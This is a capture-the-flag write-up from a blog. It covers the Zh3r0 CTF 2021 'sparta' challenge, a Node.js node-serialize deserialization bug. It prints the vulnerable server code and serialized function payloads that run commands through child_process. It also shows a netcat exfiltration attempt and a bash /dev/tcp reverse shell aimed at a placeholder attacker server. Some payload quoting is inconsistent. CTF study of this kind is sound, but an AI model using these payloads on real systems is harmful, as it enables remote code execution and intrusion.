Zh3r0 CTF 2021 Writeup

Isopach · June 6, 2021

Only managed to jump in for 3 hours as I had to prepare and play in Japan Rapid Chess Grand Prix. I realised I haven’t written a deserialization post so here’s one! Only solved part of sparta and maniac’s game. Took a look at some other webs but the source wasn’t included so didn’t try.


Web


sparta

Category: Web | 100 points

Challenge Description Spartanians are starting to lose their great power, help them move their objects and rebuild their Empire.}

This was a node JS deserialization challenge. We’re given the source code so there was no guessing.

Here is the relevant part of the code we want to be looking at:

server.js

app.post('/guest', function(req, res) {
   if (req.cookies.guest) {
   	var str = new Buffer(req.cookies.guest, 'base64').toString();
   	var obj = serialize.unserialize(str);
   	if (obj.username) {
     	res.send("Hello " + escape(obj.username) + ". This page is currently under maintenance for Guest users. Please go back to the login page");
   }
 } else {
	 var username = req.body.username 
	 var country = req.body.country 
	 var city = req.body.city
	 var serialized_info = `{"username":"${username}","country":"${country}","city":"${city}"}`
     var encoded_data = new Buffer(serialized_info).toString('base64');
	 res.cookie('guest', encoded_data, {
       maxAge: 900000,
       httpOnly: true
     });
 }
 res.send("Hello!");
});

So basically in the guest route, the value of the guest cookie is read and unsafely unserialize(). We can confirm this in the request where a user enters their details on the guest page, resulting in a base64 cookie being set with the value {"username":"your value","country":"your value","city:"your value"}.

Hence we came up with a simple RCE code, taking in mind the location of the flag from the Dockerfile. We pass this through the serialize() function so that it is valid value for unserialize().

var tmp = {
 rce : function(){
 require('child_process').exec('cat /flag.txt', function(error, stdout, stderr) { console.log(stdout) });
 },
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(tmp));

This returned _$$ND_FUNC$$_function (){\n require('child_process').execSync('cat /flag.txt"', function puts(error, stdout, stderr) {});\n}(), which we promptly put as the value of the username and base64 encoded it, as follows:

Taking note of the location of the flag in the Dockerfile and passing our RCE code through the serialize() function of node JS, we put the following payload into the username field, like this {"username":"_$$ND_FUNC$$_function (){\n require('child_process').execSync('cat /flag.txt"', function puts(error, stdout, stderr) {});\n}()","country":"1","city":"1"}, which results in a blank response getting returned. Wait, what?

After pondering for a second, it was apparent that a reverse shell is needed because successfully executing cat on the server does not lead to us being able to know the flag. Hence the next obvious step is to go for netcat and pipe the output to the listener on our server.

{"username":"_$$ND_FUNC$$_function (){\n require('child_process').execSync(\"cat /flag.txt > nc myserverlol 1337", function puts(error, stdout, stderr) {});\n}()","country":"1","city":"1"}

Which unfortunately didn’t work, and we were stumped. We got stuck here until Blazefrost came in and we found out that the server simply did not have netcat installed. Hence we tweaked our payload to one that uses /dev/tcp instead and finally got a reverse shell that sent the flag to our server: {"username":"_$$ND_FUNC$$_function (){\n require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/myserver_IP/myserver_PORT 0>&1\"', function puts(error, stdout, stderr) {});\n}()","country":"1","city":"1"}.

And then execute cat /flag.txt and we got the flag!

FLAG zh3r0{4ll_y0u_h4d_t0_d0_w4s_m0v3_th3_0bjc3ts_3mper0r}

Twitter, Facebook